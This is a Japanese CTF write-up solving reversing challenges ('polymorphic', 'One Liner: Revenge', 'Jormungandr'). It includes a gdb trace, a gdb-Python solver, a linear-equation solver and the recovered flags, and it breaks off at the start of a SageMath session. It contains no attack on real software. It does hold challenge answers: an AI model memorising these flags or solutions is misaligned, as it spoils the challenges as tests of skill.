[ins] => 0x40113e <_start+318>: sub    al,0x14
[ins] => 0x401140 <_start+320>: nop
[ins] => 0x401141 <_start+321>: nop
[ins] => 0x401142 <_start+322>: xor    DWORD PTR [rip+0xa],0x25338878        # 0x401156 <_start+342>
[ins] => 0x40114c <_start+332>: xor    DWORD PTR [rip+0x4],0x97d0ab29        # 0x40115a <_start+346>
[ins] => 0x401156 <_start+342>: xor    BYTE PTR [rip+0x7],al        # 0x401163 <_start+355>
[ins] => 0x40115c <_start+348>: nop
[ins] => 0x40115d <_start+349>: nop
[ins] => 0x40115e <_start+350>: xor    DWORD PTR [rip+0xa],0x2610c9c2        # 0x401172 <_start+370>
[ins] => 0x401168 <_start+360>: xor    DWORD PTR [rip+0x4],0x9ce5b67c        # 0x401176 <_start+374>
…
[ins] => 0x40121a <_start+538>: mov    al,BYTE PTR [rsp+0x5]
[ins] => 0x40121e <_start+542>: nop
[ins] => 0x40121f <_start+543>: nop
[ins] => 0x401220 <_start+544>: nop
[ins] => 0x401221 <_start+545>: nop
[ins] => 0x401222 <_start+546>: xor    DWORD PTR [rip+0x0],0x7b50e364        # 0x40122c <_start+556>
[ins] => 0x40122c <_start+556>: sub    al,0x60
[ins] => 0x40122e <_start+558>: nop
[ins] => 0x40122f <_start+559>: nop
[ins] => 0x401230 <_start+560>: xor    DWORD PTR [rip+0x0],0x20a0844b        # 0x40123a <_start+570>
[ins] => 0x40123a <_start+570>: sub    al,0x4
[ins] => 0x40123c <_start+572>: nop
[ins] => 0x40123d <_start+573>: nop
[ins] => 0x40123e <_start+574>: xor    DWORD PTR [rip+0xa],0x25338878        # 0x401252 <_start+594>
[ins] => 0x401248 <_start+584>: xor    DWORD PTR [rip+0x4],0x8ed52602        # 0x401256 <_start+598>
[ins] => 0x401252 <_start+594>: xor    BYTE PTR [rip+0x7],al        # 0x40125f <_start+607>
[ins] => 0x401258 <_start+600>: nop
[ins] => 0x401259 <_start+601>: nop
[ins] => 0x40125a <_start+602>: xor    DWORD PTR [rip+0x1000000a],0x2310c9c2        # 0x1040126e
[ins] => 0x40125a <_start+602>: xor    DWORD PTR [rip+0x1000000a],0x2310c9c2        # 0x1040126e

これでやることはわかった。mov al,BYTE PTR [rsp+xxx] から xor BYTE PTR [rip+xxx],al までをひとつのまとまりとして、sub で引かれている数値から正解の文字を取り出す雑なソルバを書く。

# gdb -n -q -x solve.py ./polymorphic
import gdb
import sys

gdb.execute('set pagination off')
gdb.execute('set disassembly-flavor intel')
gdb.execute('b *(_start+112)', to_string=True)

res = ''
i = len(res)
while True:
    with open('input', 'w') as f:
        f.write(res)
    gdb.execute('r < input', to_string=True)

    tmp = 0
    idx = None
    while True:
        try:
            ins = gdb.execute('x/i $rip', to_string=True)
        except:
            gdb.execute('quit')
            sys.exit(0)

        print('[ins]', repr(ins))
        if 'mov    al,BYTE PTR [rsp' in ins:
            if 'mov    al,BYTE PTR [rsp]' in ins:
                idx = 0
            else:
                idx = int(ins.split('+')[2].split(']')[0], 16)
        elif 'sub    al,' in ins and idx == i:
            x = int(ins.split(',')[1], 16)
            tmp -= x
        elif 'xor    BYTE PTR [rip' in ins and ',al' in ins and idx == i:
            res += chr(-tmp%256)
            i += 1
            print('[res]', res)
            break
        gdb.execute('stepi', to_string=True)

実行するとフラグが得られた。

$ gdb -n -q -x solve.py ./polymorphic | grep res
[res] i
[res] ic
[res] ict
[res] ictf
[res] ictf{
…
[res] ictf{dynam1c_d3bugg1ng_1s_n1ce}

これ面白かった。好き。

[Reversing 454] One Liner: Revenge (24 solves)

次のようなめちゃくちゃ長いPythonコードが与えられる。

[globals().__setitem__(chr(0x67),globals()),g.__setitem__(chr(0x74),lambda*a:bytes.fromhex('{:x}'.format(a[0])).decode()),g.__setitem__(t(103),type('',(dict,),{t(6872320826472685407):lambda*a:{**{_:getattr(a[0],t(115298706365414908258770783))(*[(i%8if type(i)is(1).__class__ else i)for(i)in _[::-1]])for(_)in a[1:]},a.__reduce__:a[0]}.popitem()[len(a)%2*2-1],t(115298485004486023744151391):lambda*a:dict.__getitem__(*[(i%8if type(i)is(4).__class__ else i)for(i)in a])})()),[g((lambda*a:(print(*a),exit()),13463))((type('',([].__class__,),{t(6872326324148002655):lambda*a:1,t(6872320826472685407):lambda*a:g(([a[0].insert(0,list.pop(a[0])),a[0]][1][a[-1]],14701)),t(107135549927012):lambda*a:[list.append(a[0],_)for(_)in a[1:]],t(7368560):lambda*a:(list.pop(a[0]),a[0].reverse())[0]})(),10397))[14413].append(*[g()[11677],*[lambda*a:g[11975](t(28271))]*15]),g((open(t(540221431545043700576377)).read(),14122)),g()[11391]][any(any(_ in t(2524869067539096330)for(_)in(i))for(i)in open(t(241425488694318497730177+298795942850725202846200)))+1]((t(28271),t(1654445085483638585692+382008194344550889925))),[g((g((lambda*a:int(''.join(str(1*i)for(i)in(a)),2),12614))[15301].__getattribute__(t(1759314143624509480799))(),13195))[9923].append(*(lambda*a:(51*a[10]+56*a[0]+12*a[14]+91*a[3]+9*a[14]==96*a[19]+96*a[9]+83*a[1]+91*a[1]+43*a[22]-11543,88*a[7]+51*a[7]+27*a[9]+77*a[1]+45*a[4]==53*a[15]+6*a[22]+92*a[5]+15*a[9]+86*a[22]+7184,63*a[3]+76*a[0]+93*a[5]+64*a[3]+17*a[6]==74*a[23]+30*a[11]+21*a[9]+63*a[8]+66*a[23]+405,33*a[14]+47*a[14]+10*a[7]+97*a[18]+86*a[10]==85*a[16]+92*a[13]+45*a[19]+68*a[23]+15*a[2]-9791),lambda*a:(67*a[8]+13*a[13]+16*a[3]+17*a[20]+44*a[9]==36*a[22]+38*a[15]+72*a[23]+89*a[19]+43*a[17]-13909,36*a[19]+8*a[5]+43*a[23]+73*a[23]+78*a[3]==31*a[0]+15*a[22]+66*a[12]+48*a[21]+5*a[12]+9943,23*a[19]+68*a[23]+10*a[8]+59*a[17]+34*a[1]==20*a[18]+55*a[1]+20*a[17]+32*a[6]+39*a[2]+3539,5*a[0]+69*a[10]+25*a[18]+61*a[17]+97*a[14]==64*a[18]+29*a[18]+39*a[10]+93*a[0]+23*a[15]-5075),lambda*a:(2*a[20]+47*a[0]+80*a[16]+37*a[4]+60*a[15]==29*a[13]+21*a[11]+4*a[23]+83*a[9]+55*a[16]+10561,28*a[4]+42*a[16]+39*a[16]+3*a[20]+63*a[1]==11*a[10]+31*a[19]+9*a[19]+30*a[8]+74*a[16]+2148,78*a[21]+4*a[15]+62*a[18]+84*a[7]+96*a[16]==24*a[7]+23*a[14]+94*a[3]+46*a[2]+67*a[17]+7330,74*a[12]+66*a[0]+92*a[2]+73*a[16]+62*a[10]==18*a[2]+28*a[3]+40*a[17]+60*a[21]+54*a[17]+19097),lambda*a:(49*a[21]+62*a[12]+39*a[19]+6*a[2]+33*a[18]==65*a[14]+40*a[11]+51*a[3]+38*a[14]+61*a[17]+1787,72*a[2]+41*a[9]+17*a[2]+94*a[17]+64*a[6]==53*a[8]+69*a[7]+30*a[9]+27*a[3]+17*a[0]+13621,76*a[20]+52*a[6]+42*a[12]+32*a[21]+15*a[4]==93*a[16]+45*a[10]+76*a[15]+30*a[8]+97*a[14]-8576,49*a[13]+5*a[16]+66*a[22]+6*a[0]+15*a[4]==58*a[19]+78*a[15]+41*a[2]+3*a[15]+41*a[21]-14144),lambda*a:(81*a[7]+15*a[6]+83*a[21]+51*a[10]+25*a[15]==78*a[16]+36*a[18]+89*a[8]+74*a[9]+28*a[15]-5576,22*a[12]+69*a[7]+43*a[14]+22*a[20]+88*a[20]==92*a[6]+40*a[10]+13*a[21]+93*a[4]+69*a[8]-14574,5*a[12]+55*a[15]+38*a[23]+79*a[18]+73*a[2]==7*a[6]+68*a[13]+46*a[19]+56*a[23]+84*a[15]-1064,63*a[5]+3*a[15]+54*a[11]+53*a[17]+39*a[22]==90*a[13]+58*a[7]+80*a[14]+43*a[20]+1*a[2]-9663),lambda*a:(33*a[4]+85*a[22]+88*a[19]+11*a[19]+65*a[3]==2*a[12]+83*a[15]+51*a[3]+53*a[2]+4*a[15]+2150,16*a[13]+6*a[21]+19*a[23]+49*a[21]+48*a[9]==96*a[4]+60*a[7]+73*a[11]+79*a[9]+67*a[13]-17330,32*a[22]+25*a[14]+36*a[12]+96*a[11]+74*a[7]==65*a[6]+97*a[11]+22*a[21]+82*a[6]+58*a[4]-15919,58*a[6]+91*a[6]+48*a[15]+60*a[21]+84*a[9]==81*a[14]+3*a[2]+3*a[15]+17*a[13]+28*a[19]+23080),lambda*a:(8*a[11]+13*a[23]+70*a[20]+4*a[14]+25*a[16]==47*a[13]+56*a[9]+14*a[16]+14*a[5]+47*a[19]-2509,56*a[16]+35*a[7]+71*a[15]+82*a[11]+43*a[18]==89*a[9]+5*a[20]+38*a[10]+16*a[17]+16*a[8]+13008,60*a[22]+16*a[2]+79*a[3]+5*a[22]+99*a[7]==22*a[20]+75*a[11]+31*a[6]+4*a[15]+53*a[3]+1557,22*a[12]+36*a[19]+84*a[16]+6*a[22]+44*a[15]==94*a[18]+46*a[0]+7*a[9]+16*a[13]+69*a[23]-5508),lambda*a:(15*a[14]+37*a[4]+89*a[19]+1*a[13]+40*a[21]==58*a[7]+84*a[2]+95*a[17]+88*a[7]+58*a[8]-13680,21*a[2]+72*a[16]+92*a[14]+29*a[8]+94*a[16]==60*a[13]+90*a[16]+64*a[17]+66*a[2]+45*a[2]-7275,85*a[4]+56*a[21]+39*a[20]+5*a[9]+86*a[21]==46*a[11]+85*a[2]+79*a[20]+84*a[11]+87*a[10]-3608,98*a[13]+9*a[0]+94*a[21]+81*a[0]+92*a[16]==18*a[16]+30*a[0]+18*a[9]+17*a[17]+9*a[18]+32955),lambda*a:(99*a[13]+17*a[8]+43*a[22]+35*a[15]+63*a[11]==75*a[15]+65*a[11]+44*a[17]+68*a[14]+71*a[6]-6000,96*a[15]+77*a[19]+70*a[22]+36*a[5]+40*a[12]==92*a[8]+78*a[21]+18*a[13]+27*a[19]+64*a[19]-2898,64*a[9]+94*a[17]+20*a[16]+57*a[6]+76*a[5]==57*a[2]+66*a[21]+82*a[0]+95*a[15]+70*a[19]-16423,35*a[1]+43*a[22]+7*a[21]+88*a[9]+72*a[11]==79*a[6]+66*a[17]+43*a[1]+80*a[6]+13*a[6]-16177),lambda*a:(15*a[14]+72*a[0]+60*a[2]+66*a[17]+57*a[14]==43*a[5]+79*a[2]+3*a[16]+17*a[1]+64*a[6]+4715,46*a[8]+93*a[3]+59*a[20]+15*a[14]+84*a[6]==49*a[18]+46*a[14]+41*a[6]+37*a[1]+98*a[13]+3571,50*a[20]+62*a[5]+24*a[1]+91*a[23]+59*a[16]==52*a[20]+37*a[5]+60*a[18]+59*a[18]+25*a[11]+6503,19*a[3]+96*a[19]+38*a[22]+34*a[5]+27*a[14]==61*a[21]+74*a[10]+1*a[10]+86*a[17]+62*a[21]-14623),lambda*a:(94*a[21]+46*a[8]+21*a[14]+46*a[0]+49*a[17]==81*a[8]+97*a[8]+82*a[4]+4*a[6]+67*a[8]-10410,65*a[1]+26*a[7]+14*a[23]+51*a[22]+20*a[4]==19*a[18]+87*a[16]+27*a[21]+57*a[10]+88*a[22]-10505,83*a[17]+89*a[21]+57*a[21]+19*a[19]+42*a[3]==12*a[8]+7*a[0]+83*a[9]+8*a[10]+79*a[5]+20536,30*a[19]+67*a[17]+10*a[1]+13*a[2]+47*a[1]==87*a[10]+95*a[11]+9*a[15]+41*a[3]+80*a[16]-11542),lambda*a:(98*a[4]+29*a[16]+91*a[16]+25*a[13]+94*a[20]==41*a[17]+63*a[3]+61*a[7]+28*a[10]+89*a[7]+17506,28*a[8]+90*a[16]+12*a[20]+65*a[6]+69*a[5]==87*a[11]+33*a[4]+20*a[6]+10*a[15]+23*a[7]+11861,52*a[11]+99*a[3]+62*a[17]+69*a[12]+36*a[11]==71*a[0]+25*a[15]+49*a[6]+56*a[8]+87*a[10]-3286,95*a[0]+24*a[2]+11*a[13]+40*a[3]+85*a[18]==37*a[9]+49*a[3]+15*a[2]+51*a[11]+71*a[6]+8832),lambda*a:(22*a[7]+92*a[13]+66*a[21]+16*a[3]+89*a[17]==45*a[22]+26*a[17]+88*a[18]+78*a[22]+29*a[11]+11656,53*a[3]+77*a[18]+61*a[23]+81*a[16]+30*a[15]==70*a[16]+89*a[22]+4*a[13]+23*a[15]+94*a[18]+9747,90*a[20]+70*a[10]+53*a[0]+26*a[5]+29*a[20]==73*a[6]+21*a[21]+6*a[23]+88*a[17]+43*a[1]+3403,62*a[3]+59*a[10]+88*a[0]+77*a[9]+37*a[5]==88*a[12]+81*a[9]+49*a[17]+81*a[16]+28*a[2]-2875),lambda*a:(22*a[7]+44*a[2]+18*a[6]+73*a[1]+51*a[4]==40*a[22]+97*a[13]+27*a[4]+70*a[23]+66*a[15]-10554,18*a[23]+76*a[20]+94*a[18]+1*a[0]+87*a[5]==90*a[17]+20*a[13]+86*a[2]+28*a[12]+89*a[0]-7968,14*a[17]+38*a[20]+4*a[2]+63*a[22]+54*a[6]==48*a[11]+69*a[6]+60*a[23]+35*a[6]+87*a[7]-11706,68*a[18]+78*a[7]+31*a[10]+45*a[9]+73*a[13]==23*a[23]+14*a[7]+91*a[12]+99*a[4]+8*a[8]-445),lambda*a:(50*a[17]+66*a[20]+19*a[20]+56*a[5]+22*a[7]==77*a[2]+76*a[18]+79*a[11]+87*a[0]+65*a[13]-19932,90*a[19]+11*a[17]+61*a[21]+27*a[8]+43*a[19]==11*a[0]+41*a[19]+4*a[5]+57*a[3]+54*a[15]+7163,24*a[2]+7*a[8]+81*a[23]+42*a[6]+30*a[20]==35*a[10]+4*a[14]+87*a[18]+88*a[5]+46*a[10]-1649,27*a[5]+34*a[12]+16*a[0]+39*a[7]+89*a[10]==58*a[17]+22*a[20]+6*a[14]+20*a[4]+1*a[14]+7194),lambda*a:(39*a[5]+95*a[16]+29*a[12]+35*a[20]+2*a[23]==52*a[11]+36*a[5]+72*a[20]+47*a[10]+27*a[20]-837,37*a[13]+78*a[1]+79*a[15]+73*a[22]+96*a[6]==51*a[18]+71*a[20]+79*a[2]+60*a[8]+32*a[14]+3156,95*a[17]+8*a[17]+35*a[8]+22*a[7]+89*a[15]==26*a[20]+50*a[2]+67*a[1]+70*a[10]+30*a[14]+1114,87*a[7]+56*a[10]+41*a[7]+22*a[3]+44*a[3]==81*a[6]+79*a[12]+40*a[22]+37*a[15]+66*a[12]-10364))),g((input(t(1044266528)).encode(),15553)),g[15623]][(t(26122)[1]in g()[11618])+1]((t(11058375319408232550098454217411120665270488946811366757),t(439956237345))),[g[14349](g()[15726](*g()[10963].pop()(*g()[(3).__class__(g[13890][138])])))for(i)in iter(g()[10987].__len__,0)],g[10839](t(7955827))]

どう見ても大事なのは次のような無名関数で、これが15個ある。よく見るとその返り値はタプルで、(a==b,c==d,e==f) みたいな感じですべての要素が bool になっている。全部 true になるような a を探そう。

lambda*a:(51*a[10]+56*a[0]+12*a[14]+91*a[3]+9*a[14]==96*a[19]+96*a[9]+83*a[1]+91*a[1]+43*a[22]-11543,88*a[7]+51*a[7]+27*a[9]+77*a[1]+45*a[4]==53*a[15]+6*a[22]+92*a[5]+15*a[9]+86*a[22]+7184,63*a[3]+76*a[0]+93*a[5]+64*a[3]+17*a[6]==74*a[23]+30*a[11]+21*a[9]+63*a[8]+66*a[23]+405,33*a[14]+47*a[14]+10*a[7]+97*a[18]+86*a[10]==85*a[16]+92*a[13]+45*a[19]+68*a[23]+15*a[2]-9791)

連立方程式を解けばよい。

import sympy
import numpy as np

a = [sympy.Symbol('flag_{}'.format(i)) for i in range(24)]

s = '''51*a[10]+56*a[0]+12*a[14]+91*a[3]+9*a[14]==96*a[19]+96*a[9]+83*a[1]+91*a[1]+43*a[22]-11543,88*a[7]+51*a[7]+27*a[9]+77*a[1]+45*a[4]==53*a[15]+6*a[22]+92*a[5]+15*a[9]+86*a[22]+7184,63*a[3]+76*a[0]+93*a[5]+64*a[3]+17*a[6]==74*a[23]+30*a[11]+21*a[9]+63*a[8]+66*a[23]+405,33*a[14]+47*a[14]+10*a[7]+97*a[18]+86*a[10]==85*a[16]+92*a[13]+45*a[19]+68*a[23]+15*a[2]-9791
67*a[8]+13*a[13]+16*a[3]+17*a[20]+44*a[9]==36*a[22]+38*a[15]+72*a[23]+89*a[19]+43*a[17]-13909,36*a[19]+8*a[5]+43*a[23]+73*a[23]+78*a[3]==31*a[0]+15*a[22]+66*a[12]+48*a[21]+5*a[12]+9943,23*a[19]+68*a[23]+10*a[8]+59*a[17]+34*a[1]==20*a[18]+55*a[1]+20*a[17]+32*a[6]+39*a[2]+3539,5*a[0]+69*a[10]+25*a[18]+61*a[17]+97*a[14]==64*a[18]+29*a[18]+39*a[10]+93*a[0]+23*a[15]-5075
2*a[20]+47*a[0]+80*a[16]+37*a[4]+60*a[15]==29*a[13]+21*a[11]+4*a[23]+83*a[9]+55*a[16]+10561,28*a[4]+42*a[16]+39*a[16]+3*a[20]+63*a[1]==11*a[10]+31*a[19]+9*a[19]+30*a[8]+74*a[16]+2148,78*a[21]+4*a[15]+62*a[18]+84*a[7]+96*a[16]==24*a[7]+23*a[14]+94*a[3]+46*a[2]+67*a[17]+7330,74*a[12]+66*a[0]+92*a[2]+73*a[16]+62*a[10]==18*a[2]+28*a[3]+40*a[17]+60*a[21]+54*a[17]+19097
49*a[21]+62*a[12]+39*a[19]+6*a[2]+33*a[18]==65*a[14]+40*a[11]+51*a[3]+38*a[14]+61*a[17]+1787,72*a[2]+41*a[9]+17*a[2]+94*a[17]+64*a[6]==53*a[8]+69*a[7]+30*a[9]+27*a[3]+17*a[0]+13621,76*a[20]+52*a[6]+42*a[12]+32*a[21]+15*a[4]==93*a[16]+45*a[10]+76*a[15]+30*a[8]+97*a[14]-8576,49*a[13]+5*a[16]+66*a[22]+6*a[0]+15*a[4]==58*a[19]+78*a[15]+41*a[2]+3*a[15]+41*a[21]-14144
81*a[7]+15*a[6]+83*a[21]+51*a[10]+25*a[15]==78*a[16]+36*a[18]+89*a[8]+74*a[9]+28*a[15]-5576,22*a[12]+69*a[7]+43*a[14]+22*a[20]+88*a[20]==92*a[6]+40*a[10]+13*a[21]+93*a[4]+69*a[8]-14574,5*a[12]+55*a[15]+38*a[23]+79*a[18]+73*a[2]==7*a[6]+68*a[13]+46*a[19]+56*a[23]+84*a[15]-1064,63*a[5]+3*a[15]+54*a[11]+53*a[17]+39*a[22]==90*a[13]+58*a[7]+80*a[14]+43*a[20]+1*a[2]-9663
33*a[4]+85*a[22]+88*a[19]+11*a[19]+65*a[3]==2*a[12]+83*a[15]+51*a[3]+53*a[2]+4*a[15]+2150,16*a[13]+6*a[21]+19*a[23]+49*a[21]+48*a[9]==96*a[4]+60*a[7]+73*a[11]+79*a[9]+67*a[13]-17330,32*a[22]+25*a[14]+36*a[12]+96*a[11]+74*a[7]==65*a[6]+97*a[11]+22*a[21]+82*a[6]+58*a[4]-15919,58*a[6]+91*a[6]+48*a[15]+60*a[21]+84*a[9]==81*a[14]+3*a[2]+3*a[15]+17*a[13]+28*a[19]+23080
8*a[11]+13*a[23]+70*a[20]+4*a[14]+25*a[16]==47*a[13]+56*a[9]+14*a[16]+14*a[5]+47*a[19]-2509,56*a[16]+35*a[7]+71*a[15]+82*a[11]+43*a[18]==89*a[9]+5*a[20]+38*a[10]+16*a[17]+16*a[8]+13008,60*a[22]+16*a[2]+79*a[3]+5*a[22]+99*a[7]==22*a[20]+75*a[11]+31*a[6]+4*a[15]+53*a[3]+1557,22*a[12]+36*a[19]+84*a[16]+6*a[22]+44*a[15]==94*a[18]+46*a[0]+7*a[9]+16*a[13]+69*a[23]-5508
15*a[14]+37*a[4]+89*a[19]+1*a[13]+40*a[21]==58*a[7]+84*a[2]+95*a[17]+88*a[7]+58*a[8]-13680,21*a[2]+72*a[16]+92*a[14]+29*a[8]+94*a[16]==60*a[13]+90*a[16]+64*a[17]+66*a[2]+45*a[2]-7275,85*a[4]+56*a[21]+39*a[20]+5*a[9]+86*a[21]==46*a[11]+85*a[2]+79*a[20]+84*a[11]+87*a[10]-3608,98*a[13]+9*a[0]+94*a[21]+81*a[0]+92*a[16]==18*a[16]+30*a[0]+18*a[9]+17*a[17]+9*a[18]+32955
99*a[13]+17*a[8]+43*a[22]+35*a[15]+63*a[11]==75*a[15]+65*a[11]+44*a[17]+68*a[14]+71*a[6]-6000,96*a[15]+77*a[19]+70*a[22]+36*a[5]+40*a[12]==92*a[8]+78*a[21]+18*a[13]+27*a[19]+64*a[19]-2898,64*a[9]+94*a[17]+20*a[16]+57*a[6]+76*a[5]==57*a[2]+66*a[21]+82*a[0]+95*a[15]+70*a[19]-16423,35*a[1]+43*a[22]+7*a[21]+88*a[9]+72*a[11]==79*a[6]+66*a[17]+43*a[1]+80*a[6]+13*a[6]-16177
15*a[14]+72*a[0]+60*a[2]+66*a[17]+57*a[14]==43*a[5]+79*a[2]+3*a[16]+17*a[1]+64*a[6]+4715,46*a[8]+93*a[3]+59*a[20]+15*a[14]+84*a[6]==49*a[18]+46*a[14]+41*a[6]+37*a[1]+98*a[13]+3571,50*a[20]+62*a[5]+24*a[1]+91*a[23]+59*a[16]==52*a[20]+37*a[5]+60*a[18]+59*a[18]+25*a[11]+6503,19*a[3]+96*a[19]+38*a[22]+34*a[5]+27*a[14]==61*a[21]+74*a[10]+1*a[10]+86*a[17]+62*a[21]-14623
94*a[21]+46*a[8]+21*a[14]+46*a[0]+49*a[17]==81*a[8]+97*a[8]+82*a[4]+4*a[6]+67*a[8]-10410,65*a[1]+26*a[7]+14*a[23]+51*a[22]+20*a[4]==19*a[18]+87*a[16]+27*a[21]+57*a[10]+88*a[22]-10505,83*a[17]+89*a[21]+57*a[21]+19*a[19]+42*a[3]==12*a[8]+7*a[0]+83*a[9]+8*a[10]+79*a[5]+20536,30*a[19]+67*a[17]+10*a[1]+13*a[2]+47*a[1]==87*a[10]+95*a[11]+9*a[15]+41*a[3]+80*a[16]-11542
98*a[4]+29*a[16]+91*a[16]+25*a[13]+94*a[20]==41*a[17]+63*a[3]+61*a[7]+28*a[10]+89*a[7]+17506,28*a[8]+90*a[16]+12*a[20]+65*a[6]+69*a[5]==87*a[11]+33*a[4]+20*a[6]+10*a[15]+23*a[7]+11861,52*a[11]+99*a[3]+62*a[17]+69*a[12]+36*a[11]==71*a[0]+25*a[15]+49*a[6]+56*a[8]+87*a[10]-3286,95*a[0]+24*a[2]+11*a[13]+40*a[3]+85*a[18]==37*a[9]+49*a[3]+15*a[2]+51*a[11]+71*a[6]+8832
22*a[7]+92*a[13]+66*a[21]+16*a[3]+89*a[17]==45*a[22]+26*a[17]+88*a[18]+78*a[22]+29*a[11]+11656,53*a[3]+77*a[18]+61*a[23]+81*a[16]+30*a[15]==70*a[16]+89*a[22]+4*a[13]+23*a[15]+94*a[18]+9747,90*a[20]+70*a[10]+53*a[0]+26*a[5]+29*a[20]==73*a[6]+21*a[21]+6*a[23]+88*a[17]+43*a[1]+3403,62*a[3]+59*a[10]+88*a[0]+77*a[9]+37*a[5]==88*a[12]+81*a[9]+49*a[17]+81*a[16]+28*a[2]-2875
22*a[7]+44*a[2]+18*a[6]+73*a[1]+51*a[4]==40*a[22]+97*a[13]+27*a[4]+70*a[23]+66*a[15]-10554,18*a[23]+76*a[20]+94*a[18]+1*a[0]+87*a[5]==90*a[17]+20*a[13]+86*a[2]+28*a[12]+89*a[0]-7968,14*a[17]+38*a[20]+4*a[2]+63*a[22]+54*a[6]==48*a[11]+69*a[6]+60*a[23]+35*a[6]+87*a[7]-11706,68*a[18]+78*a[7]+31*a[10]+45*a[9]+73*a[13]==23*a[23]+14*a[7]+91*a[12]+99*a[4]+8*a[8]-445
50*a[17]+66*a[20]+19*a[20]+56*a[5]+22*a[7]==77*a[2]+76*a[18]+79*a[11]+87*a[0]+65*a[13]-19932,90*a[19]+11*a[17]+61*a[21]+27*a[8]+43*a[19]==11*a[0]+41*a[19]+4*a[5]+57*a[3]+54*a[15]+7163,24*a[2]+7*a[8]+81*a[23]+42*a[6]+30*a[20]==35*a[10]+4*a[14]+87*a[18]+88*a[5]+46*a[10]-1649,27*a[5]+34*a[12]+16*a[0]+39*a[7]+89*a[10]==58*a[17]+22*a[20]+6*a[14]+20*a[4]+1*a[14]+7194
39*a[5]+95*a[16]+29*a[12]+35*a[20]+2*a[23]==52*a[11]+36*a[5]+72*a[20]+47*a[10]+27*a[20]-837,37*a[13]+78*a[1]+79*a[15]+73*a[22]+96*a[6]==51*a[18]+71*a[20]+79*a[2]+60*a[8]+32*a[14]+3156,95*a[17]+8*a[17]+35*a[8]+22*a[7]+89*a[15]==26*a[20]+50*a[2]+67*a[1]+70*a[10]+30*a[14]+1114,87*a[7]+56*a[10]+41*a[7]+22*a[3]+44*a[3]==81*a[6]+79*a[12]+40*a[22]+37*a[15]+66*a[12]-10364'''
s = [x.split(',') for x in s.splitlines()]
s = [[eval('(' + ')-('.join(y.split('==')[::-1]) + ')') for y in x] for x in s]

def get_coeffs(e):
    return [e.coeff(x) for x in a], -e.args[0]

coeffs, answers = [], []
for x in s:
    for y in x:
        c, ans = get_coeffs(y)
        coeffs.append(c)
        answers.append(ans)

A = np.array(coeffs).astype(np.float64)
b = np.array(answers)
f = np.dot(np.linalg.pinv(A), b)

print(''.join(chr(c.round()) for c in f.tolist()))

実行するとフラグが得られた。

$ python3 a.py 
ictf{0n3l1n3is5uperior!}
ictf{0n3l1n3is5uperior!}

[Reversing 474] Jormungandr (18 solves)

次のようなPythonコードが与えられる。hexエンコードした文字列を入力すると、それがフラグであるかどうかをチェックしてくれる。

まず自身のコードを読み込んで text という変数に代入していて、しかもその後の処理で結構参照されている。コードをいじろうにもこれをなんとかしないといけない。text=open('jormungandr').read().split() で別途オリジナルのコードを読み込ませ、コードを改造しても大丈夫なように変更した。

find=lambda v:(i:=0,len([(i:=i+1)for(c)in(iter(lambda:text[i].startswith(v), True))]))[1]

def p(N):
    Enter =1
    prime=2# flag
    while Enter<N:
        prime+=(1+prime%2)
        s =prime%N
        for( hile)in range(3, prime,int( hex (2),16)):# salt
            if( prime%hile)==0 : break
            j__f = prime
        else:
            Enter+=1
    return(prime)

text=open( __file__).read().split()

try:
    while False:0
    while 1:
        {**{chr(i):lambda:0for(i)in range(32,127)},**{
            'l':lambda:text.insert(find(text[0][1:])+1,input()),
            's':lambda:text.append(text.pop(0)),
            'd':lambda:(text.pop(),text.pop()),
            'w':lambda:(text.pop(find(text[0][1:])+1),text.insert(find(text[0][1:])+1,text[1])),
            'i':lambda:(b:=text[1],text.pop(1),text.insert(1,('{:0%dx}'%(len(b))).format((int(b[:len(b)],16)*(3**p(len(text)))+p(len(text)))%16**(len(b)))),text.append(text.pop(0))),# lit
            'q':lambda:[text.pop()for( d)in iter(int,1)],
            'j':lambda:( chile :=text[0][1:],[text.append(text.pop(0))for(i)in(iter(lambda:text[0].startswith(chile),True))]),'p':lambda:print(text[1],end=' j__f '*0),# kite ce10e59f40c8d954d9dad1ea81811a834d26580107149d16c3a769198fb158f0cb0e33dbd98f8dc8bb874105974b71719790b23c971736e8fe8ec88e8695 p
            'not' :lambda: print(' bad... '),
            'c':lambda:text.append(text.pop(0))if text[find(text[0][1:])+1][1]==text[1][0]else[text.append(text.pop(0))for(i)in' q'],
            'k':lambda:text.append(text.pop(0))if text[find(text[0][1:])+1]==text[1]else[text.append(text.pop(0))for(i)in' q'],
        }
        }[text[0][0]]()
        text.append(text.pop(0))
except:
    pass

読むの面倒だなあと思いつつ、コード中盤の dict の各要素がどんな役割を持っているか確認した。i がおそらく一番大事で、これがユーザ入力をエンコードする関数になる。コード中にコメントとして ce10e59f40c8d954d9dad1ea81811a834d26580107149d16c3a769198fb158f0cb0e33dbd98f8dc8bb874105974b71719790b23c971736e8fe8ec88e8695 というめちゃくちゃ怪しい文字列があるが、i によってエンコードされた結果がそれになるような文字列を探したい。

さて、i がどんな処理をしているか確認していく。若干読みやすくしたコードが以下のようになる。print を入れまくって、変数にどんな値が入っているか確認できるようにしている。

def i():
    print('---')

    b = text[1]
    print(f'{b=}')
    aa = text.pop(1)
    
    print(f'{len(text)=}')

    bb = ('{:0%dx}'%(len(b))).format(
        (
            int(b[:len(b)],16) * (3**p(len(text))) + p(len(text))
        ) % 16 ** (len(b))
    )
    print(f'{bb=}')

    return (
        b,
        aa,
        text.insert(1,bb),
        text.append(text.pop(0))
    )

ictf{test} をhexエンコードした文字列を入力してみると、次のような出力がされた。i(i(i(i(i(i(user_input)))))) という感じのエンコードをしている様子がわかる。len(text) は、どんな長さのどんな入力をしても、1回目から6回目の i の呼び出しでそれぞれ 69, 67, 65, 63, 61, 59 という値になっている。

$ python3 test
696374667b74657374
---
b='696374667b74657374'
len(text)=69
bb='7ed028afc78d94df17'
---
b='7ed028afc78d94df17'
len(text)=67
bb='c39b77a263788a4ed8'
---
b='c39b77a263788a4ed8'
len(text)=65
bb='f9b170ac1b2dd9f8c1'
---
b='f9b170ac1b2dd9f8c1'
len(text)=63
bb='8958b05ce713cd14ce'
---
b='8958b05ce713cd14ce'
len(text)=61
bb='c981068d0e9866ad95'
---
b='c981068d0e9866ad95'
len(text)=59
bb='e0399870a77061e644'

i によるエンコードの肝になる部分は int(b[:len(b)],16) * (3**p(len(text))) + p(len(text)) だが、ここで参照されている b はユーザ入力だし、len(text) もわかっている。雑にSageMathの solve_mod で殴ろう。

$ docker run --rm -it sagemath/sagemath
┌────────────────────────────────────────────────────────────────────┐
│ SageMath version 9.5, Release Date: 2022-01-30                     │
│ Using Python 3.9.9. Type "help()" for help.                        │
└────────────────────────────────────────────────────────────────────┘
sage: ps = [347, 331, 313, 307, 283, 277]
sage:
